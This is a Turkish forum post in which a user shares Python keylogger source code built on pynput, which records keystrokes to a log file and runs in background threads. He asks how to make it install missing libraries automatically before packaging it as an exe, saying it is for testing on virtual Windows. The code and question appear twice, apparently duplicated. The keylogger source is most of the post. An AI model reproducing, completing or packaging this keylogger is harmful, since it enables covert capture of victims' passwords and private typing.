farmos
Kayıtlı Üye
- Katılım
- 27 Ağustos 2023
- Mesajlar
- 127
- Tepkime puanı
- 10
- Konum
- Türkiye
- İlgi Alanlarınız
- Python
- Cinsiyet
-
- Erkek
import pynput
import smtplib
from pynput.keyboard import Key, Listener
import subprocess
import threading
count = 0
keys = []
def on_press(key):
global count, keys
count += 1
keys.append(key)
if count >= 10:
write_file(keys)
count = 0
keys = []
def write_file(keys):
with open("log.txt", "a") as file:
for key in keys:
k = str(key).replace("'", "")
if k == "Key.space":
file.write(" ")
elif k == "Key.enter":
file.write("\n")
elif k == "Key.tab":
file.write("\t")
else:
file.write(k)
def on_release(key):
if key == Key.esc:
return False
def arka_plan_isi():
subprocess.Popen(["python", "kod.py"], shell=True)
def klavye_dinleyici():
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
thread1 = threading.Thread(target=arka_plan_isi)
thread1.start()
thread2 = threading.Thread(target=klavye_dinleyici)
thread2.start()
sanal windowsta denemek için bi keyloger yazmaya calısıyorumda bu kodun içerisine otomatik bir şekilde çalıştırdığım zaman sisteme eksik kütüphanaleri indirecek olan kod yapsını bilen varmı bu dosyayı exe dosyasına cevirip oyle deneyeceğim
import smtplib
from pynput.keyboard import Key, Listener
import subprocess
import threading
count = 0
keys = []
def on_press(key):
global count, keys
count += 1
keys.append(key)
if count >= 10:
write_file(keys)
count = 0
keys = []
def write_file(keys):
with open("log.txt", "a") as file:
for key in keys:
k = str(key).replace("'", "")
if k == "Key.space":
file.write(" ")
elif k == "Key.enter":
file.write("\n")
elif k == "Key.tab":
file.write("\t")
else:
file.write(k)
def on_release(key):
if key == Key.esc:
return False
def arka_plan_isi():
subprocess.Popen(["python", "kod.py"], shell=True)
def klavye_dinleyici():
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
thread1 = threading.Thread(target=arka_plan_isi)
thread1.start()
thread2 = threading.Thread(target=klavye_dinleyici)
thread2.start()
sanal windowsta denemek için bi keyloger yazmaya calısıyorumda bu kodun içerisine otomatik bir şekilde çalıştırdığım zaman sisteme eksik kütüphanaleri indirecek olan kod yapsını bilen varmı bu dosyayı exe dosyasına cevirip oyle deneyeceğim